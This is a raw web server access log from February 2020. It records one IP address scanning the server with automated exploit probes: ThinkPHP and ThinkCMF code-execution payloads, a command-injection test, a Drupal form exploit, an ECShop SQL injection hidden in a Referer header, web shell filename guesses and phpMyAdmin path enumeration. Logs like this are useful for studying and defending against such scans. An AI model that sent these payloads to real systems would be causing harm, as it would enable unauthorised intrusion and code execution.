202.79.173.12 - - [28/Feb/2020:23:06:36 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:23:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:06:37 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:37 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:37 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:37 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:37 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:38 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:38 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:38 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:38 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:39 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:39 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:39 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:39 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:40 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:40 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:40 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:40 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:40 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:41 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:41 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:41 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:41 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:41 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:42 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:42 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
24.227.147.10 - - [28/Feb/2020:23:06:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
202.79.173.12 - - [28/Feb/2020:23:06:42 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:42 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:42 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:43 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:43 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:43 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:43 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:43 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:44 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:44 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:44 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:44 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:45 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:45 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:45 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:45 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:45 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:46 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:46 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:46 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:46 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:47 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:47 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:47 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:47 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:48 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:48 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:48 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:48 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:48 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:49 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:49 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:49 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:49 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:49 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:50 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:50 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:50 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:50 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:51 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:51 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:51 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:51 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:06:51 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
202.79.173.12 - - [28/Feb/2020:23:07:12 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
202.79.173.12 - - [28/Feb/2020:23:07:33 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [28/Feb/2020:23:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:07:55 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
202.79.173.12 - - [28/Feb/2020:23:08:17 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [28/Feb/2020:23:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:08:39 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
202.79.173.12 - - [28/Feb/2020:23:09:01 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
202.79.173.12 - - [28/Feb/2020:23:09:22 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [28/Feb/2020:23:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:09:44 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
202.79.173.12 - - [28/Feb/2020:23:10:06 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
202.79.173.12 - - [28/Feb/2020:23:10:27 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:10:27 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:10:27 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:10:27 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
202.79.173.12 - - [28/Feb/2020:23:10:27 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [28/Feb/2020:23:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:10:49 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
202.79.173.12 - - [28/Feb/2020:23:11:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:11:33 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:23:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:11:54 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:12:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:23:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:12:38 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:13:00 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:13:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:23:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:13:43 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
83.169.231.173 - - [28/Feb/2020:23:13:56 +0100] "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" 400 329 "-" "-"
202.79.173.12 - - [28/Feb/2020:23:14:05 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
202.79.173.12 - - [28/Feb/2020:23:14:27 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:27 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:27 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:27 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:28 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:28 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:28 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:28 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:28 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:29 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:29 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:29 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:29 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
